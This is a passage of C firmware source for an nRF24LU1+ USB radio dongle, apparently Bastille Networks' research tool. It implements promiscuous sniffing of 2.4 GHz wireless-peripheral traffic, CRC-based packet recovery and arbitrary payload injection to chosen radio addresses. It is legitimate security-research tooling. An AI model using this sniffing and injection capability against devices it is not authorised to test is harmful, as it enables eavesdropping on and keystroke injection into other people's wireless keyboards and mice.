nRF24LU1+ Product Spec, Section 8.2, Table 71 43 | __sfr __at (0x80) P0; // ref: nRF24LU1+ Product Spec, Section 13.1, Table 94 44 | __sfr __at (0x94) P0DIR; // ref: nRF24LU1+ Product Spec, Section 13.1, Table 95 45 | __sfr __at (0xE5) RFDAT; // ref: nRF24LU1+ Product Spec, Section 15.1.2, Table 108 46 | __sfr __at (0xAB) TICKDV; // ref: nRF24LU1+ Product Spec, Section 19.3.2, Table 128 47 | __sfr __at (0xAB) REGXH; // ref: nRF24LU1+ Product Spec, Section 19.3.6, Table 129 48 | __sfr __at (0xAC) REGXL; // ref: nRF24LU1+ Product Spec, Section 19.3.6, Table 129 49 | __sfr __at (0xAD) REGXC; // ref: nRF24LU1+ Product Spec, Section 19.3.6, Table 129 50 | __sfr __at (0xA8) ien0; // ref: nRF24LU1+ Product Spec, Section 22.4.1, Table 139 51 | __sfr __at (0xB8) ien1; // ref: nRF24LU1+ Product Spec, Section 22.4.2, Table 140 52 | 53 | // SFR bits 54 | __sbit __at (0x90) rfce; // ref: nRF24LU1+ Product Spec, Section 6.5.1, Table 21 55 | __sbit __at (0x91) rfcsn; // ref: nRF24LU1+ Product Spec, Section 6.5.1, Table 21 56 | __sbit __at (0xC0) RFRDY; // ref: nRF24LU1+ Product Spec, Section 22.4.4, Table 146 57 | 58 | // Memory mapped register 59 | #define __xreg(A) (*((__xdata uint8_t *)A)) 60 | 61 | // Memory mapped registers 62 | #define bout1addr __xreg(0xC781) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 63 | #define bout2addr __xreg(0xC782) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 64 | #define binstaddr __xreg(0xC788) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 65 | #define bin1addr __xreg(0xC789) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 66 | #define bin2addr __xreg(0xC78A) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 67 | #define out1bc __xreg(0xC7C7) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 68 | #define in0bc __xreg(0xC7B5) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 69 | #define in1bc __xreg(0xC7B7) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 70 | #define ivec __xreg(0xC7A8) // ref: nRF24LU1+ Product Spec, Section 7.3, Table 26 71 | #define in_irq __xreg(0xC7A9) // ref: nRF24LU1+ Product Spec, Section 7.9.8, Table 42 72 | #define out_irq __xreg(0xC7AA) // ref: nRF24LU1+ Product Spec, Section 7.9.9, Table 43 73 | #define usbirq __xreg(0xC7AB) // ref: nRF24LU1+ Product Spec, Section 7.9.10, Table 44 74 | #define in_ien __xreg(0xC7AC) // ref: nRF24LU1+ Product Spec, Section 7.9.11, Table 45 75 | #define out_ien __xreg(0xC7AD) // ref: nRF24LU1+ Product Spec, Section 7.9.12, Table 46 76 | #define usbien __xreg(0xC7AE) // ref: nRF24LU1+ Product Spec, Section 7.9.13, Table 47 77 | #define ep0cs __xreg(0xC7B4) // ref: nRF24LU1+ Product Spec, Section 7.9.14, Table 48 78 | #define in1cs __xreg(0xC7B6) // ref: nRF24LU1+ Product Spec, Section 7.9.16, Table 50 79 | #define out1cs __xreg(0xC7C6) // ref: nRF24LU1+ Product Spec, Section 7.9.17, Table 53 80 | #define usbcs __xreg(0xC7D6) // ref: nRF24LU1+ Product Spec, Section 7.9.19, Table 55 81 | #define inbulkval __xreg(0xC7DE) // ref: nRF24LU1+ Product Spec, Section 7.9.24, Table 60 82 | #define outbulkval __xreg(0xC7DF) // ref: nRF24LU1+ Product Spec, Section 7.9.25, Table 61 83 | #define inisoval __xreg(0xC7E0) // ref: nRF24LU1+ Product Spec, Section 7.9.26, Table 62 84 | #define outisoval __xreg(0xC7E1) // ref: nRF24LU1+ Product Spec, Section 7.9.27, Table 63 85 | 86 | // XDATA buffers 87 | uint8_t __at (0xC700) in0buf[64]; 88 | uint8_t __at (0xC680) in1buf[64]; 89 | uint8_t __at (0xC640) out1buf[64]; 90 | uint8_t __at (0xC7E8) setupbuf[8]; 91 | 92 | /************************************* 93 | * Radio SPI registers and constants * 94 | *************************************/ 95 | 96 | // Configuration 97 | enum CONFIG 98 | { 99 | PRIM_RX = 0x01, 100 | PWR_UP = 0x02, 101 | CRC0 = 0x04, 102 | EN_CRC = 0x08, 103 | MASK_MAX_RT = 0x10, 104 | MASK_TX_DS = 0x20, 105 | MASK_RX_DR = 0x40, 106 | }; 107 | 108 | // Auto Acknowledgement 109 | enum EN_AA 110 | { 111 | ENAA_NONE = 0x00, 112 | ENAA_P0 = 0x01, 113 | ENAA_P1 = 0x02, 114 | ENAA_P2 = 0x04, 115 | ENAA_P3 = 0x08, 116 | ENAA_P4 = 0x10, 117 | ENAA_P5 = 0x20, 118 | }; 119 | 120 | // Enabled RX Addresses 121 | enum EN_RXADDR 122 | { 123 | ENRX_P0 = 0x01, 124 | ENRX_P1 = 0x02, 125 | ENRX_P2 = 0x04, 126 | ENRX_P3 = 0x08, 127 | ENRX_P4 = 0x10, 128 | ENRX_P5 = 0x20, 129 | }; 130 | 131 | // Address Widths 132 | enum SETUP_AW 133 | { 134 | AW_2 = 0x00, 135 | AW_3 = 0x01, 136 | AW_4 = 0x02, 137 | AW_5 = 0x03, 138 | }; 139 | 140 | // RF Setup 141 | enum RF_SETUP 142 | { 143 | CONT_WAVE = 0x80, 144 | PLL_LOCK = 0x10, 145 | RATE_2M = 0x08, 146 | RATE_1M = 0x00, 147 | RATE_250K = 0x20, 148 | RF_PWR_4 = 0x06, 149 | RF_PWR_3 = 0x04, 150 | RF_PWR_2 = 0x02, 151 | RF_PWR_1 = 0x00, 152 | }; 153 | 154 | // Dynamic payloads 155 | enum DYNPD 156 | { 157 | DPL_P5 = 0x20, 158 | DPL_P4 = 0x10, 159 | DPL_P3 = 0x08, 160 | DPL_P2 = 0x04, 161 | DPL_P1 = 0x02, 162 | DPL_P0 = 0x01, 163 | }; 164 | 165 | // Features 166 | enum FEATURE 167 | { 168 | EN_DPL = 0x04, 169 | EN_ACK_PAY = 0x02, 170 | EN_DYN_ACK = 0x01 171 | }; 172 | 173 | // Status flags 174 | enum STATUS 175 | { 176 | RX_DR = 0x40, 177 | TX_DS = 0x20, 178 | MAX_RT = 0x10, 179 | TX_FULL = 0x01, 180 | }; 181 | 182 | // nRF24 SPI commands 183 | enum nrf24_command 184 | { 185 | R_REGISTER = 0x00, 186 | W_REGISTER = 0x20, 187 | R_RX_PL_WID = 0x60, 188 | R_RX_PAYLOAD = 0x61, 189 | W_TX_PAYLOAD = 0xA0, 190 | W_ACK_PAYLOAD = 0xA8, 191 | FLUSH_TX = 0xE1, 192 | FLUSH_RX = 0xE2, 193 | _NOP = 0xFF, 194 | }; 195 | 196 | // nRF24 registers 197 | enum nrf24_register 198 | { 199 | CONFIG = 0x00, 200 | EN_AA = 0x01, 201 | EN_RXADDR = 0x02, 202 | SETUP_AW = 0x03, 203 | SETUP_RETR = 0x04, 204 | RF_CH = 0x05, 205 | RF_SETUP = 0x06, 206 | STATUS = 0x07, 207 | OBSERVE_TX = 0x08, 208 | RPD = 0x09, 209 | RX_ADDR_P0 = 0x0A, 210 | RX_ADDR_P1 = 0x0B, 211 | RX_ADDR_P2 = 0x0C, 212 | RX_ADDR_P3 = 0x0D, 213 | RX_ADDR_P4 = 0x0E, 214 | RX_ADDR_P5 = 0x0F, 215 | TX_ADDR = 0x10, 216 | RX_PW_P0 = 0x11, 217 | RX_PW_P1 = 0x12, 218 | RX_PW_P2 = 0x13, 219 | RX_PW_P3 = 0x14, 220 | RX_PW_P4 = 0x15, 221 | RX_PW_P5 = 0x16, 222 | FIFO_STATUS = 0x17, 223 | DYNPD = 0x1C, 224 | FEATURE = 0x1D, 225 | }; 226 | 227 | #endif 228 | -------------------------------------------------------------------------------- /src/radio.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "usb.h" 5 | #include "radio.h" 6 | #include "nRF24LU1P.h" 7 | 8 | // Enter ESB promiscuous mode 9 | void enter_promiscuous_mode(uint8_t * prefix, uint8_t prefix_length, uint8_t rate, uint8_t addrlen) 10 | { 11 | // Update the promiscuous mode state 12 | int x; 13 | for(x = 0; x < prefix_length; x++) pm_prefix[prefix_length - 1 - x] = prefix[x]; 14 | pm_prefix_length = prefix_length > 5 ? 5 : prefix_length; 15 | radio_mode = promiscuous; 16 | pm_payload_length = 32; 17 | 18 | // Set the ESB address length 19 | addr_len = addrlen; 20 | 21 | // CE low 22 | rfce = 0; 23 | 24 | // Enable RX pipe 0 25 | write_register_byte(EN_RXADDR, ENRX_P0); 26 | 27 | // Set the default promiscuous mode RX address 28 | if(pm_prefix_length == 0) configure_address(promiscuous_address, 2); 29 | 30 | // Set the RX address to a single prefix byte and a premable byte 31 | else if(pm_prefix_length == 1) 32 | { 33 | uint8_t address[2] = { pm_prefix[0], (pm_prefix[0] & 0x80) == 0x80 ? 0xAA : 0x55 }; 34 | configure_address(address, 2); 35 | } 36 | 37 | // If the prefix is two or more bytes, set it as the address 38 | else configure_address(pm_prefix, pm_prefix_length); 39 | 40 | // Disable dynamic payload length and automatic ACK handling 41 | configure_mac(0, 0, ENAA_NONE); 42 | 43 | // Disable CRC, enable RX, specified data rate, pm_payload_length byte payload width 44 | switch(rate) 45 | { 46 | case 0: configure_phy(PRIM_RX | PWR_UP, RF_PWR_4 | RATE_250K, pm_payload_length); break; 47 | case 1: configure_phy(PRIM_RX | PWR_UP, RF_PWR_4 | RATE_1M, pm_payload_length); break; 48 | default: configure_phy(PRIM_RX | PWR_UP, RF_PWR_4 | RATE_2M, pm_payload_length); break; 49 | } 50 | 51 | // CE high 52 | rfce = 1; 53 | in1bc = 0; 54 | } 55 | 56 | // Enter generic promiscuous mode 57 | void enter_promiscuous_mode_generic(uint8_t * prefix, uint8_t prefix_length, uint8_t rate, uint8_t payload_length) 58 | { 59 | // Update the promiscuous mode state 60 | int x; 61 | for(x = 0; x < prefix_length; x++) pm_prefix[prefix_length - 1 - x] = prefix[x]; 62 | pm_prefix_length = prefix_length > 5 ? 5 : prefix_length; 63 | radio_mode = promiscuous_generic; 64 | pm_payload_length = payload_length; 65 | 66 | // CE low 67 | rfce = 0; 68 | 69 | // Enable RX pipe 0 70 | write_register_byte(EN_RXADDR, ENRX_P0); 71 | 72 | // Set the default promiscuous mode RX address 73 | if(pm_prefix_length == 0) configure_address(promiscuous_address, 2); 74 | 75 | // Set the RX address to a single prefix byte and a premable byte 76 | else if(pm_prefix_length == 1) 77 | { 78 | uint8_t address[2] = { pm_prefix[0], (pm_prefix[0] & 0x80) == 0x80 ? 0xAA : 0x55 }; 79 | configure_address(address, 2); 80 | } 81 | 82 | // If the prefix is two or more bytes, set it as the address 83 | else configure_address(pm_prefix, pm_prefix_length); 84 | 85 | // Disable dynamic payload length and automatic ACK handling 86 | configure_mac(0, 0, ENAA_NONE); 87 | 88 | // Disable CRC, enable RX, specified data rate, and pm_payload_length byte payload width 89 | switch(rate) 90 | { 91 | case 0: configure_phy(PRIM_RX | PWR_UP, RF_PWR_4 | RATE_250K, pm_payload_length); break; 92 | case 1: configure_phy(PRIM_RX | PWR_UP, RF_PWR_4 | RATE_1M, pm_payload_length); break; 93 | default: configure_phy(PRIM_RX | PWR_UP, RF_PWR_4 | RATE_2M, pm_payload_length); break; 94 | } 95 | 96 | // CE high 97 | rfce = 1; 98 | in1bc = 0; 99 | } 100 | 101 | // Configure addressing on pipe 0 102 | void configure_address(uint8_t * address, uint8_t length) 103 | { 104 | write_register_byte(EN_RXADDR, ENRX_P0); 105 | write_register_byte(SETUP_AW, length - 2); 106 | write_register(TX_ADDR, address, length); 107 | write_register(RX_ADDR_P0, address, length); 108 | } 109 | 110 | // Configure MAC layer functionality on pipe 0 111 | void configure_mac(uint8_t feature, uint8_t dynpd, uint8_t en_aa) 112 | { 113 | write_register_byte(FEATURE, feature); 114 | write_register_byte(DYNPD, dynpd); 115 | write_register_byte(EN_AA, en_aa); 116 | } 117 | 118 | // Configure PHY layer on pipe 0 119 | void configure_phy(uint8_t config, uint8_t rf_setup, uint8_t rx_pw) 120 | { 121 | write_register_byte(CONFIG, config); 122 | write_register_byte(RF_SETUP, rf_setup); 123 | write_register_byte(RX_PW_P0, rx_pw); 124 | } 125 | 126 | // Transfer a byte over SPI 127 | uint8_t spi_transfer(uint8_t byte) 128 | { 129 | RFDAT = byte; 130 | RFRDY = 0; 131 | while(!RFRDY); 132 | return RFDAT; 133 | } 134 | 135 | // Write a register over SPI 136 | void spi_write(uint8_t command, uint8_t * buffer, uint8_t length) 137 | { 138 | int x; 139 | rfcsn = 0; 140 | spi_transfer(command); 141 | for(x = 0; x < length; x++) spi_transfer(buffer[x]); 142 | rfcsn = 1; 143 | } 144 | 145 | // Read a register over SPI 146 | void spi_read(uint8_t command, uint8_t * buffer, uint8_t length) 147 | { 148 | int x; 149 | rfcsn = 0; 150 | spi_transfer(command); 151 | for(x = 0; x < length; x++) buffer[x] = spi_transfer(0xFF); 152 | rfcsn = 1; 153 | } 154 | 155 | // Write a single byte register over SPI 156 | void write_register_byte(uint8_t reg, uint8_t byte) 157 | { 158 | write_register(reg, &byte, 1); 159 | } 160 | 161 | // Read a single byte register over SPI 162 | uint8_t read_register_byte(uint8_t reg) 163 | { 164 | uint8_t value; 165 | read_register(reg, &value, 1); 166 | return value; 167 | } 168 | 169 | // Update a CRC16-CCITT with 1-8 bits from a given byte 170 | uint16_t crc_update(uint16_t crc, uint8_t byte, uint8_t bits) 171 | { 172 | crc = crc ^ (byte << 8); 173 | while(bits--) 174 | if((crc & 0x8000) == 0x8000) crc = (crc << 1) ^ 0x1021; 175 | else crc = crc << 1; 176 | crc = crc & 0xFFFF; 177 | return crc; 178 | } 179 | 180 | // Handle a USB radio request 181 | void handle_radio_request(uint8_t request, uint8_t * data) 182 | { 183 | // Enter the Nordic bootloader 184 | if(request == LAUNCH_NORDIC_BOOTLOADER) 185 | { 186 | nordic_bootloader(); 187 | return; 188 | } 189 | 190 | // Enter the bootloader 191 | if(request == LAUNCH_LOGITECH_BOOTLOADER) 192 | { 193 | const uint8_t command[9] = {'E', 'n', 't', 'e', 'r', ' ', 'I', 'C', 'P'}; 194 | uint8_t command_length = 9; 195 | int x; 196 | for(x = 0; x < command_length; x++) 197 | { 198 | AESIA1 = x; 199 | AESIV = command[x]; 200 | } 201 | logitech_bootloader(); 202 | return; 203 | } 204 | 205 | // Enable the LNA (CrazyRadio PA) 206 | else if(request == ENABLE_LNA) 207 | { 208 | P0DIR &= ~0x10; 209 | P0 |= 0x10; 210 | in1bc = 0; 211 | return; 212 | } 213 | 214 | // Set the current channel 215 | else if(request == SET_CHANNEL) 216 | { 217 | rfce = 0; 218 | write_register_byte(RF_CH, data[0]); 219 | in1bc = 1; 220 | in1buf[0] = data[0]; 221 | flush_rx(); 222 | flush_tx(); 223 | rfce = 1; 224 | return; 225 | } 226 | 227 | // Get the current channel 228 | else if(request == GET_CHANNEL) 229 | { 230 | spi_read(RF_CH, in1buf, 1); 231 | in1bc = 1; 232 | return; 233 | } 234 | 235 | // Enter ESB promiscuous mode 236 | else if(request == ENTER_PROMISCUOUS_MODE) 237 | { 238 | enter_promiscuous_mode(&data[3] /* address prefix */, data[2] /* prefix length */, data[0] /* rate */, data[1] /* address length */); 239 | } 240 | 241 | // Enter generic promiscuous mode 242 | else if(request == ENTER_PROMISCUOUS_MODE_GENERIC) 243 | { 244 | enter_promiscuous_mode_generic(&data[3] /* address prefix */, data[0] /* prefix length */, data[1] /* rate */, data[2] /* payload length */); 245 | } 246 | 247 | // Enter continuous tone test mode 248 | else if(request == ENTER_TONE_TEST_MODE) 249 | { 250 | configure_phy(PWR_UP, CONT_WAVE | PLL_LOCK, 0); 251 | in1bc = 0; 252 | return; 253 | } 254 | 255 | // Receive a packet 256 | else if(request == RECEIVE_PACKET) 257 | { 258 | uint8_t value; 259 | 260 | // Check if a payload is available 261 | read_register(FIFO_STATUS, &value, 1); 262 | if((value & 1) == 0) 263 | { 264 | // ESB sniffer mode 265 | if(radio_mode == sniffer) 266 | { 267 | // Get the payload width 268 | read_register(R_RX_PL_WID, &value, 1); 269 | if(value <= 32) 270 | { 271 | // Read the payload and write it to EP1 272 | read_register(R_RX_PAYLOAD, &in1buf[1], value); 273 | in1buf[0] = 0; 274 | in1bc = value + 1; 275 | flush_rx(); 276 | return; 277 | } 278 | else 279 | { 280 | // Invalid payload width 281 | in1bc = 1; 282 | in1buf[0] = 0xFF; 283 | flush_rx(); 284 | return; 285 | } 286 | } 287 | 288 | // ESB promiscuous mode 289 | else if(radio_mode == promiscuous) 290 | { 291 | int x, offset; 292 | uint8_t payload_length; 293 | uint16_t crc, crc_given; 294 | uint8_t payload[37]; 295 | 296 | // Read in the "promiscuous" mode payload, concatenated to the prefix 297 | for(x = 0; x < pm_prefix_length; x++) payload[pm_prefix_length - x - 1] = pm_prefix[x]; 298 | read_register(R_RX_PAYLOAD, &payload[pm_prefix_length], pm_payload_length); 299 | 300 | // In promiscuous mode without a defined address prefix, we attempt to 301 | // decode the payload as-is, and then shift it by one bit and try again 302 | // if the first attempt did not pass the CRC check. The purpose of this 303 | // is to minimize missed detections that happen if we were to use both 304 | // 0xAA and 0x55 as the nonzero promiscuous mode address bytes. 305 | for(offset = 0; offset < 2; offset++) 306 | { 307 | // Shift the payload right by one bit if this is the second pass 308 | if(offset == 1) 309 | { 310 | for(x = 31; x >= 0; x--) 311 | { 312 | if(x > 0) payload[x] = payload[x - 1] << 7 | payload[x] >> 1; 313 | else payload[x] = payload[x] >> 1; 314 | } 315 | } 316 | 317 | // Read the payload length 318 | payload_length = payload[addr_len] >> 2; 319 | 320 | // Check for a valid payload length, which is less than the usual 32 bytes 321 | // because we need to account for the packet header, CRC, and part or all 322 | // of the address bytes. 323 | if(payload_length <= (pm_payload_length-4-(addr_len)) + pm_prefix_length) 324 | { 325 | // Read the given CRC 326 | crc_given = (payload[addr_len + 1 + payload_length] << 9) | ((payload[2 + addr_len + payload_length]) << 1); 327 | crc_given = (crc_given << 8) | (crc_given >> 8); 328 | if(payload[3 + addr_len + payload_length] & 0x80) crc_given |= 0x100; 329 | 330 | // Calculate the CRC 331 | crc = 0xFFFF; 332 | for(x = 0; x < 1 + addr_len + payload_length; x++) crc = crc_update(crc, payload[x], 8); 333 | crc = crc_update(crc, payload[1 + addr_len + payload_length] & 0x80, 1); 334 | crc = (crc << 8) | (crc >> 8); 335 | 336 | // Verify the CRC 337 | if(crc == crc_given) 338 | { 339 | // Write the address to the output buffer 340 | memcpy(in1buf, payload, addr_len); 341 | 342 | // Write the ESB payload to the output buffer 343 | for(x = 0; x < payload_length + 3; x++) 344 | in1buf[addr_len + x] = ((payload[1 + addr_len + x] << 1) & 0xFF) | (payload[2 + addr_len + x] >> 7); 345 | in1bc = addr_len + payload_length; 346 | flush_rx(); 347 | return; 348 | } 349 | } 350 | } 351 | } 352 | 353 | // Generic promiscuous mode 354 | else if(radio_mode == promiscuous_generic) 355 | { 356 | int x; 357 | uint8_t payload[37]; 358 | 359 | // Read in the "promiscuous" mode payload, concatenated to the prefix 360 | for(x = 0; x < pm_prefix_length; x++) payload[pm_prefix_length - x - 1] = pm_prefix[x]; 361 | read_register(R_RX_PAYLOAD, &payload[pm_prefix_length], pm_payload_length); 362 | 363 | // Write the payload to the output buffer 364 | memcpy(in1buf, payload, pm_prefix_length + pm_payload_length); 365 | in1bc = pm_prefix_length + pm_payload_length; 366 | // flush_rx(); 367 | return; 368 | } 369 | } 370 | 371 | // No payload 372 | in1bc = 1; 373 | in1buf[0] = 0xFF; 374 | return; 375 | } 376 | 377 | // Enter sniffer mode 378 | else if(request == ENTER_SNIFFER_MODE) 379 | { 380 | radio_mode = sniffer; 381 | 382 | // Clamp to 2-5 byte addresses 383 | if(data[1] > 5) data[1] = 5; 384 | if(data[1] < 2) data[1] = 2; 385 | 386 | // CE low 387 | rfce = 0; 388 | 389 | // Configure the address 390 | configure_address(&data[2], data[1]); 391 | 392 | // Enable dynamic payload length, disable automatic ACK handling 393 | configure_mac(EN_DPL | EN_ACK_PAY, DPL_P0, ENAA_NONE); 394 | 395 | // Specified data rate, enable RX, 16-bit CRC 396 | switch(data[0]) 397 | { 398 | case 0: configure_phy(EN_CRC | CRC0 | PRIM_RX | PWR_UP, RF_PWR_4 | RATE_250K, 0); break; 399 | case 1: configure_phy(EN_CRC | CRC0 | PRIM_RX | PWR_UP, RF_PWR_4 | RATE_1M, 0); break; 400 | default: configure_phy(EN_CRC | CRC0 | PRIM_RX | PWR_UP, RF_PWR_4 | RATE_2M, 0); break; 401 | } 402 | 403 | // CE high 404 | rfce = 1; 405 | 406 | // Flush the FIFOs 407 | flush_rx(); 408 | flush_tx(); 409 | in1bc = 0; 410 | } 411 | 412 | // Transmit an ACK payload 413 | else if(request == TRANSMIT_ACK_PAYLOAD) 414 | { 415 | uint16_t elapsed; 416 | uint8_t status; 417 | 418 | // Clamp to 1-32 byte payload 419 | if(data[0] > 32) data[0] = 32; 420 | if(data[0] < 1) data[0] = 1; 421 | 422 | // CE low 423 | rfce = 0; 424 | 425 | // Flush the TX/RX buffers 426 | flush_tx(); 427 | flush_rx(); 428 | 429 | // Clear the max retries and data sent flags 430 | write_register_byte(STATUS, MAX_RT | TX_DS | RX_DR); 431 | 432 | // Enable auto ACK handling and ACK payloads 433 | write_register_byte(EN_AA, ENAA_P0); 434 | write_register_byte(FEATURE, EN_DPL | EN_ACK_PAY); 435 | 436 | // Write the AC Kpayload 437 | spi_write(W_ACK_PAYLOAD, &data[1], data[0]); 438 | 439 | // CE high 440 | rfce = 1; 441 | 442 | // Wait up to 500ms for the ACK payload to be transmitted 443 | elapsed = 0; 444 | in1buf[0] = 0; 445 | while(elapsed < 500) 446 | { 447 | status = read_register_byte(STATUS); 448 | if((status & RX_DR) == RX_DR) 449 | { 450 | in1buf[0] = 1; 451 | break; 452 | } 453 | 454 | delay_us(1000); 455 | elapsed++; 456 | } 457 | 458 | // Disable auto ACK 459 | write_register_byte(EN_AA, ENAA_NONE); 460 | 461 | in1bc = 1; 462 | } 463 | 464 | // Transmit an ESB payload 465 | else if(request == TRANSMIT_PAYLOAD) 466 | { 467 | // Clamp to 1-32 byte payload 468 | if(data[0] > 32) data[0] = 32; 469 | if(data[0] < 1) data[0] = 1; 470 | 471 | // CE low 472 | rfce = 0; 473 | 474 | // Setup auto-retransmit 475 | // - timeout is in multiples of 250us 476 | write_register_byte(SETUP_RETR, (1 << data[1]) | data[2]); 477 | 478 | // Flush the TX/RX buffers 479 | flush_tx(); 480 | flush_rx(); 481 | 482 | // Clear the max retries and data sent flags 483 | write_register_byte(STATUS, MAX_RT | TX_DS | RX_DR); 484 | 485 | // Enable TX 486 | write_register_byte(CONFIG, read_register_byte(CONFIG) & ~PRIM_RX); 487 | 488 | // Enable auto ACK handling 489 | write_register_byte(EN_AA, ENAA_P0); 490 | 491 | // Write the payload 492 | spi_write(W_TX_PAYLOAD, &data[3], data[0]); 493 | 494 | // Bring CE high to initiate the transfer 495 | rfce = 1; 496 | delay_us(10); 497 | rfce = 0; 498 | 499 | // Wait for success, failure, or timeout 500 | while(true) 501 | { 502 | // Read the STATUS register 503 | rfcsn = 0; 504 | RFDAT = _NOP; 505 | RFRDY = 0; 506 | while(!RFRDY); 507 | rfcsn = 1; 508 | 509 | // Max retransmits reached 510 | if((RFDAT & 0x10) == 0x10) 511 | { 512 | in1buf[0] = 0; 513 | break; 514 | } 515 | 516 | // Successful transmit 517 | if((RFDAT & 0x20) == 0x20) 518 | { 519 | in1buf[0] = 1; 520 | break; 521 | } 522 | } 523 | 524 | // Disable auto ack 525 | write_register_byte(EN_AA, ENAA_NONE); 526 | 527 | // Enable RX 528 | write_register_byte(CONFIG, read_register_byte(CONFIG) | PRIM_RX); 529 | 530 | // CE high 531 | rfce = 1; 532 | in1bc = 1; 533 | } 534 | 535 | // Transmit a generic payload 536 | else if(request == TRANSMIT_PAYLOAD_GENERIC) 537 | { 538 | uint8_t address_start = data[0] + data[1] + 2; 539 | 540 | // Clamp to 1-32 byte payload 541 | if(data[0] > 32) data[0] = 32; 542 | if(data[0] < 1) data[0] = 1; 543 | 544 | // Clamp to 1-5 byte address 545 | if(data[1] > 5) data[1] = 5; 546 | if(data[1] < 1) data[1] = 1; 547 | 548 | // CE low 549 | rfce = 0; 550 | 551 | // Flush the TX buffer 552 | flush_tx(); 553 | flush_rx(); 554 | 555 | // Clear the max retries and data sent flags 556 | write_register_byte(STATUS, MAX_RT | TX_DS | RX_DR); 557 | 558 | // Enable TX 559 | write_register_byte(CONFIG, read_register_byte(CONFIG) & ~PRIM_RX); 560 | 561 | // Set the address 562 | configure_address(&data[address_start], data[1]); 563 | 564 | // Write the payload 565 | spi_write(W_TX_PAYLOAD, &data[2], data[0]); 566 | 567 | // Bring CE high to initiate the transfer 568 | rfce = 1; 569 | delay_us(10); 570 | rfce = 0; 571 | 572 | // Wait for transmit 573 | while(true) 574 | { 575 | // Read the STATUS register 576 | rfcsn = 0; 577 | RFDAT = _NOP; 578 | RFRDY = 0; 579 | while(!RFRDY); 580 | rfcsn = 1; 581 | 582 | // Successful transmit 583 | if((RFDAT & TX_DS) == TX_DS) 584 | { 585 | in1buf[0] = 1; 586 | break; 587 | } 588 | } 589 | 590 | // Enable RX and set the promiscuous mode address 591 | write_register_byte(CONFIG, read_register_byte(CONFIG) | PRIM_RX); 592 | configure_address(pm_prefix, pm_prefix_length); 593 | 594 | // CE high 595 | rfce = 1; 596 | in1bc = 1; 597 | } 598 | } 599 | 600 | -------------------------------------------------------------------------------- /src/radio.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2016 Bastille Networks 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | 19 | #include 20 | #include "nRF24LU1P.h" 21 | 22 | // Enter ESB promiscuous mode 23 | // prefix: address prefix; used for vendors with fixed start of address bytes 24 | // prefix_length: prefix length, in bytes 25 | // rate: data rate (0=250K, 1=1M, 2=2M) 26 | // addrlen: ESB address length 27 | void enter_promiscuous_mode(uint8_t * prefix, uint8_t prefix_length, uint8_t rate, uint8_t addrlen); 28 | 29 | // Enter generic promiscuous mode 30 | // prefix: address prefix; used for vendors with fixed start of address bytes 31 | // prefix_length: prefix length, in bytes 32 | // rate: data rate (0=250K, 1=1M, 2=2M) 33 | void enter_promiscuous_mode_generic(uint8_t * prefix, uint8_t prefix_length, uint8_t rate, uint8_t payload_length); 34 | 35 | // Configure addressing on pipe 0 36 | // address: address bytes 37 | // length: address length 38 | void configure_address(uint8_t * address, uint8_t length); 39 | 40 | // Configure MAC layer on pipe 0 41 | // feature: FEATURE register 42 | // dynpd: DYNPD register 43 | // en_aa: EN_AA register 44 | void configure_mac(uint8_t feature, uint8_t dynpd, uint8_t en_aa); 45 | 46 | // Configure PHY layer on pipe 0 47 | // config: CONFIG register 48 | // rf_setup: RF_SETUP register 49 | // rx_pw: RX_PW_P0 register 50 | void configure_phy(uint8_t config, uint8_t rf_setup, uint8_t rx_pw); 51 | 52 | // SPI wrte 53 | // command: SPI command 54 | // buffer: buffer to write over SPI 55 | // length: number of bytes to write 56 | void spi_write(uint8_t command, uint8_t * buffer, uint8_t length); 57 | 58 | // SPI read 59 | // command: SPI command 60 | // buffer: buffer to fill with data read over SPI 61 | // length: number of bytes to read 62 | void spi_read(uint8_t command, uint8_t * buffer, uint8_t length); 63 | 64 | // Write a single byte register over SPI 65 | // reg: register to write to 66 | // byte: value to write 67 | void write_register_byte(uint8_t reg, uint8_t byte); 68 | 69 | // Read a single byte register over SPI 70 | // reg: register to write to 71 | // return: value read 72 | uint8_t read_register_byte(uint8_t reg); 73 | 74 | // Read a register over SPI 75 | // reg: register to read from 76 | // buffer: buffer to fill 77 | // length: number of bytes to read 78 | #define read_register(reg,buffer,length) spi_read(R_REGISTER|reg,buffer,length) 79 | 80 | // Write a register over SPI 81 | // reg: register to write to 82 | // buffer: buffer to write 83 | // length: number of bytes to write 84 | #define write_register(REG,BUFFER,LENGTH) spi_write(W_REGISTER|REG,BUFFER,LENGTH) 85 | 86 | // Flush the RX FIFO 87 | #define flush_rx() spi_write(FLUSH_RX,NULL,0) 88 | 89 | // Flush the TX FIFO 90 | #define flush_tx() spi_write(FLUSH_TX,NULL,0) 91 | 92 | // Update a CRC16-CCITT with 1-8 bits from a given byte 93 | // crc: current CRC 94 | // byte: new byte 95 | // bits: number of bits to process from byte 96 | // return: updated CRC 97 | uint16_t crc_update(uint16_t crc, uint8_t byte, uint8_t bits); 98 | 99 | // Default promiscuous mode address 100 | __xdata static const uint8_t promiscuous_address[2] = { 0xAA, 0x00 }; 101 | 102 | // Radio mode 103 | enum radio_mode_t 104 | { 105 | // ESB sniffer mode 106 | sniffer = 0, 107 | 108 | // ESB promiscuous mode 109 | promiscuous = 1, 110 | 111 | // Generic promiscuous mode 112 | promiscuous_generic = 2, 113 | }; 114 | 115 | // Radio mode 116 | __xdata static uint8_t radio_mode; 117 | 118 | // ESB mode state 119 | __xdata static uint8_t addr_len; // ESB address length 120 | 121 | // Promiscuous mode state 122 | __xdata static int pm_prefix_length; // Promixcuous mode address prefix length 123 | __xdata static uint8_t pm_prefix[5]; // 